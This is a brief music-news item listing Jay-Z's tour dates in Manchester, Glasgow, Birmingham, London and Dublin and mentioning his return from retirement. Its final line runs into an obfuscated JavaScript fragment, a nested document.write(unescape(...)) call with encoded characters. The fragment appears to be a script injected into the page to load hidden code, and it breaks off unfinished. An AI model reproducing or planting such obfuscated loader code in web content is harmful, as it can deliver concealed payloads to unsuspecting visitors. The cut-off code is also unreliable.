The shows will be his first dates in two years and it will be first time the Def Jam CEO will play dates in Glasgow, Birmingham and Dublin.
Jay-Z will play:
Manchester MEN (September 21)
Glasgow SECC (22)
Birmingham NIA (23)
London Wembley Arena (24)
Dublin The Point (26)
Tickets go on sale at 9am on June 23. For ticket availability click right.
As previously reported, although the rapper "retired" in November 2003 he recently announced his return to performing with a one-off New York show on June 25.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22